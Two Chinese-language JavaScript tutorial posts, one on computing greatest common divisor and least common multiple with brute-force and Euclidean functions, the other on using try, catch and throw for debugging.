这也是与最小公倍数相似的另一个概念,几个正整数之间一般存在多个约数,即这几个正整数除以这个约数后都没有余数,这些约数中最大的一个称为最大公约数;下面来实现求最大公约数的函数;

最大质因数法

思路很简单,即将两个数分别递减,获取能同时被二者除尽的最大的一个数,即最大公约数:

function getGcd(a, b) {
    for (let i = a; i > 0; i--) {
        for (let j = b; j > 0; j--) {
            if (a % i === 0 && b % j === 0 && i === j) {
                return j;
            }
        }
    }
}

辗转相除法

思路是用两个数中的最大项除以最小项,如果能除尽,那么最小项便是这两个数的最大公约数;不能除尽则用最大项除以最小项所得余数,与最小项再进行同样的递归操作,最后得到最大的约数,也就是所谓的辗转相除

function getGcd(a, b) {
    let max = Math.max(a, b);
    let min = Math.min(a, b);
    if (max % min === 0) {
        return min;
    } else {
        return getGcd(max % min, min);
    }
}

求最小公倍数

有了求最大公约数的函数后,再来求最小公倍数就简单了:

function getLcm(a, b) {
    return a * b / getGcd(a, b);
}
☑️ ⭐

JavaScript 中 try, catch, throw 的用法

程序在运行中难免遇到 bug,所以就需要好的调试手段找出问题所在,try, catch, throw 便是 JavaScript 中用来调试并对错误执行相关操作的工具,下面具体介绍其用法;

try, catch

基本语法结构:

try {
    // ...
    // 这里写需要调试的代码段
} catch(error) {
    // ...
    // 这里写要对获取的错误信息执行的操作
}

举例:

try {
    // 这里故意写错函数名,为了抛出错误
    console.logg('This is an error and will not display');
} catch (e) {
    console.log(e);         // TypeError: console.logg is not a function
    console.log(e.message); // console.logg is not a function
    console.log(e.name);    // TypeError
    console.log(e.stack);   // TypeError: console.logg is not a function
}

上面的错误代码如果直接在正常环境中执行,便会直接在后台输出错误:

TypeError: console.loggg is not a function

但是使用 try, catch 结构的话,就可以获取一个包含错误信息的对象,其包含各个部分的错误信息,便于进行一些自定义操作;

throw

throw 是在上述结构中使用的一个函数,接受一个参数作为输出信息,throw 的作用是中断后面所有语句的执行,包括错误源,但是它前面的语句都会正常执行,它可以用于判断错误的具体位置,例如:

try {
    console.log('This will display.');
    throw('My error position.'); // throw 将会中断语句的执行
    // 同样故意制造错误
    console.logg('This is an error and will not display.');
    // 后面是正常语句
    console.log('This will not display, either.')
} catch (e) {
    console.log(e);
}
// This will display.
// My error position.

如果错误发生在 throw 语句之前的话,错误便会被正常抛出,而 throw 传递的信息不会被输出,例如:

try {
    console.logg('This is an error and wil not display.');
    throw('My error position.');
    // 后面的执行同样会被中断
    console.log('This will not display, either.')
} catch(e) {
    console.log(e); 
}
// TypeError: console.logg is not a function.

因此,在调试过程中可以结合上面两种情况,一步步找出错误的具体位置;

❌